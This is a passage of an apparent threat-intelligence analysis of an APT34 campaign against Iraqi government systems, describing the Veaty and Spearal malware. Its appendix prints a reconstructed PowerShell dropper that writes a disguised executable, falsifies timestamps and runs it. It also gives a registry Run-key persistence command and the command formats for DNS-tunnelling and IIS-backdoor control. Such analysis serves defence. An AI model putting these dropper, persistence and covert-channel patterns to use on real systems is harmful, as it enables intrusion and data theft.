• Spearal data exfiltration: For Spearal, data exfiltration is more nuanced. The malware encodes the data it wants to exfiltrate into a series of DNS queries. This method ensures that even large files can be transferred in small chunks, split across multiple DNS requests. Once all chunks are delivered to the C2 server, the server reassembles the data and decrypts it for use by the attackers.

6. Maintaining Anonymity: Command Obfuscation and Network Traffic Concealment

APT34 employs several techniques to conceal its activities and maintain anonymity throughout the campaign. These techniques are designed to reduce the chances of detection by intrusion detection systems (IDS) or by network security analysts.

• Command obfuscation: Both Veaty and Spearal encrypt their communications using AES, ensuring that even if traffic is intercepted, it cannot be easily deciphered. This makes it difficult for network security analysts to understand the commands being sent between the malware and the C2 server.
• Steganography in emails: In some cases, Veaty uses subtle forms of steganography to embed commands within the body or subject lines of emails, making the traffic appear legitimate while covertly sending instructions to the infected machine.
• Avoiding IDS detection: Spearal’s use of DNS tunneling is an effective method to avoid detection by IDS systems, as DNS traffic is typically regarded as safe. This allows Spearal to communicate freely without raising red flags within the target network.

7. Lateral Movement: Expanding the Compromise Within the Network

Once initial access is established on a compromised system, APT34 begins lateral movement, looking for ways to infiltrate other systems within the Iraqi government network.

• Credential harvesting: After gaining access to one system, the malware begins harvesting credentials, either by logging keystrokes, dumping password hashes, or using tools such as Mimikatz to extract credentials stored in memory.
• Network scanning: The malware scans the network for other vulnerable systems, particularly those that use default or weak credentials. Once a vulnerable system is identified, the malware attempts to propagate, using the stolen credentials to gain access to additional machines.
• Privilege escalation: APT34 also employs privilege escalation techniques to gain administrative control over compromised systems. By escalating privileges, the attackers ensure they have full control over the infected machine, allowing them to deploy additional malware or alter system configurations without restriction.

8. Covering Tracks: Anti-Forensic Techniques

To ensure that their operations remain covert, APT34 employs anti-forensic techniques designed to erase evidence and cover their tracks.

• Log deletion: The malware deletes or modifies log files that may contain traces of the attack, making it difficult for forensic analysts to recreate the sequence of events that led to the compromise.
• File wiping: Temporary files and scripts used during the initial infection phase are securely wiped from the system, ensuring that no remnants are left behind that could be used to analyze the malware’s operation.

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Final Table: Step-by-Step Breakdown of the APT34 Attack

Step	Action	Details
1. Initial Infection	Social Engineering	Phishing emails containing malicious files with double extensions or MSI installers.
2. Deployment	Veaty and Spearal	PowerShell and PyInstaller scripts execute malware payloads for C2 communication.
3. Persistence	Registry Edits & Timestamps	Modified registry entries ensure persistence; timestamps altered to avoid detection.
4. C2 Communication	Email (Veaty) & DNS Tunneling (Spearal)	Commands are received via email or DNS queries, with traffic encrypted.
5. Data Exfiltration	Encrypted Email & DNS Chunks	Stolen data exfiltrated via email attachments (Veaty) or DNS tunneling (Spearal).
6. Concealment	Encryption & Steganography	Commands and communications are encrypted; steganography hides commands in emails.
7. Lateral Movement	Credential Harvesting & Network Scanning	Malware spreads within the network by harvesting credentials and exploiting weak points.
8. Anti-Forensics	Log Deletion & File Wiping	Logs and temporary files are erased to prevent forensic analysis.

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APPENDIX 1 – Comprehensive Technical Breakdown of the Iranian APT34 Attack on Iraqi Government Infrastructure

This section provides an exhaustive, highly technical, and step-by-step breakdown of the APT34 cyberattack on Iraqi government infrastructure using the Veaty and Spearal malware families. This analysis will cover every aspect of the operation, from initial infection vectors, malware deployment, zero-day exploits, technical code analysis, and command-and-control (C2) mechanisms, down to detailed motivations behind the attack. The breakdown will provide the exact sequence of actions, the code used, and how the malware evolves to avoid detection.

Initial Attack Phase – Social Engineering & Phishing (Reconnaissance and Access Gaining)

• Objective: APT34 leveraged social engineering to gain initial access to targeted Iraqi government systems.
• Techniques: Spear-phishing emails containing malicious document attachments or MSI installers were sent to key government employees. These attachments were designed with double extensions like Avamer.pdf.exe or ncms_demo.msi, making them appear to be legitimate documents.
• Example of file used:
  • Filename: IraqiDoc.docx.rar
  • Double-extension obfuscation allows the file to bypass basic user suspicion and some security measures.

Code Snippet: Example of PowerShell Command Deployed upon File Execution

$a1="TVqQA[...]";  # Truncated Base64 Payload
$a2="PD94b[...]";  # Truncated Base64 Config Data
$ex_dir="c:\ProgramData\System Documents";
mkdir $ex_dir;
$ex_path=$ex_dir+"\FortiClients.exe";
$con_path=$ex_dir+"\FortiClients.exe.config";
$ex_decoded=[System.Convert]::FromBase64String($a1);
$conf_decoded=[System.Convert]::FromBase64String($a2);
[IO.File]::WriteAllBytes($ex_path,$ex_decoded)
[IO.File]::WriteAllBytes($con_path,$conf_decoded)
$ex_item=Get-Item $ex_path;
$ex_item.LastAccessTime="05/08/2022 10:12:13";
$ex_item.LastWriteTime="05/08/2022 10:12:13";
$dir_item=Get-Item $ex_dir;
$dir_item.LastAccessTime="01/08/2022 06:11:47";
$dir_item.LastWriteTime="01/08/2022 06:11:47";
[System.Diagnostics.Process]::Start($ex_path);

Malware Payload Execution

Once the victim executed the file, a PowerShell or PyInstaller script launched a backdoor installation of either Veaty or Spearal malware, enabling initial access to the system. The PowerShell scripts were designed to manipulate file timestamps (as seen in the snippet above), a technique used to evade forensic detection.

Malware Deployment – Veaty and Spearal (Persistence & C2 Establishment)

Veaty: Email-based Command and Control

• Objective: Veaty establishes C2 via compromised email accounts.
• Persistence: The malware adds itself to the Windows registry under \CurrentVersion\Run to ensure persistence across reboots.
• Code Example:

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Forti Startup" -Value $ex_path;

• C2 Communication: Veaty communicates using a set of hardcoded email parameters. It leverages compromised email accounts, creating rules that forward any message containing the keyword “PMO” in the subject to the deleted items folder, thus preventing detection.

Spearal: DNS Tunneling for C2

• Objective: Spearal uses DNS tunneling to exfiltrate data and receive commands.
• Code Example for DNS Query:

# Base32 encoding for DNS tunneling
Query: base32encode("auth:<username>");
Response: stc:<base32(target_comm_id)>

Spearal uses a custom Base32 encoding to send data between the malware and the C2 server through TXT DNS records, making it appear as normal DNS traffic to evade detection. This method bypasses standard firewalls and IDS.

Infection Chain – Actionable Steps for Both Malware

• Initial Access: Delivered via phishing emails containing malware-laden attachments.
• Execution of Payload: Upon opening, a PowerShell script installs either Veaty or Spearal.
• Establishing Persistence: Modification of registry keys and altering timestamps to hide malicious activities.
• Command-and-Control Setup:
  • Veaty: Uses email-based communication, setting mailbox rules for exfiltration.
  • Spearal: DNS-based C2 communication via encoded TXT DNS queries.
• Data Exfiltration and Further Compromise:
  • Veaty sends sensitive data through email attachments, encrypted with AES.
  • Spearal uses DNS queries to retrieve or upload files in small encoded chunks.

Technical Analysis of Veaty’s C2 Communication

Veaty’s C2 communication is highly stealthy due to its integration with compromised email accounts within the victim’s organization. The email communication is encrypted using AES encryption to prevent network monitoring tools from intercepting valuable data.

• Email Setup: The malware uses specific rules within the Exchange Server to move sensitive emails into the deletedItems folder.
• C2 Email Format:
  • Subject: “PMO” or predefined keywords.
  • Body: Base64-encoded AES encrypted commands such as:
    • Download File: Reads a file and sends back its encoded content.
    • Upload File: Receives a file from the C2 server and writes it to a specified location on the system.
    • Execute Command: Executes PowerShell scripts and reports the output back to the C2 server.

Example: Command Execution via Email

Subject: PMO
Body: Download File

The message instructs the malware to retrieve specific files from the compromised system. This avoids detection as email traffic often does not raise alarms in most organizations’ network monitoring systems.

Spearal: Technical Breakdown of DNS Tunneling Protocol

• Objective: By disguising communication as DNS queries, Spearal ensures stealthy data transfer. Each command or data chunk is encoded into DNS subdomains, a sophisticated method to bypass conventional firewall rules.
• Base32 Encoding:
  • Commands and data are Base32-encoded to fit into the constraints of DNS subdomain lengths.
  • Example: A PowerShell execution request would be broken into multiple DNS queries, each sending small chunks of the command.
• C2 Commands Structure:
  • Query:plaintextCopia codicebase32encode("cmd:<target_comm_id>")
  • Response: Returns one of several possible commands:
    • dl:;<target_file_path>: Retrieve and send back file data.
    • up:;<local_file_path>: Upload file data to the local machine.
    • cmd:;<command>: Execute a command on the system.

This design allows Spearal to bypass most conventional traffic inspection tools, as DNS traffic is rarely inspected with the same rigor as other network protocols.

Zero-Day Vulnerabilities and Exploits

APT34’s attack also exploited zero-day vulnerabilities in some cases, particularly in IIS backdoors. The CacheHttp.dll malware represents a significant evolution of previous backdoor techniques, such as those employed by IIS Group 2 and RGDoor.

• Backdoor Setup:
  • Passive Backdoor Module: Deployed within IIS servers, which listens for pre-configured HTTP requests.
  • Exploit Chain:
    • Initial infection via email/social engineering.
    • Installation of the IIS backdoor via a command injection vulnerability (specific to outdated IIS versions).
    • Execution of commands via manipulated HTTP requests that contain encoded instructions.
• Command Structure (Example of Exploiting IIS Vulnerability):plaintextCopia codiceCookie: F=1,a=u&b=<Base64_Encrypted_Command>&k=<Session_Key>&f=<File>

This backdoor gave the attackers continuous access to compromised IIS servers, allowing them to execute arbitrary commands remotely.

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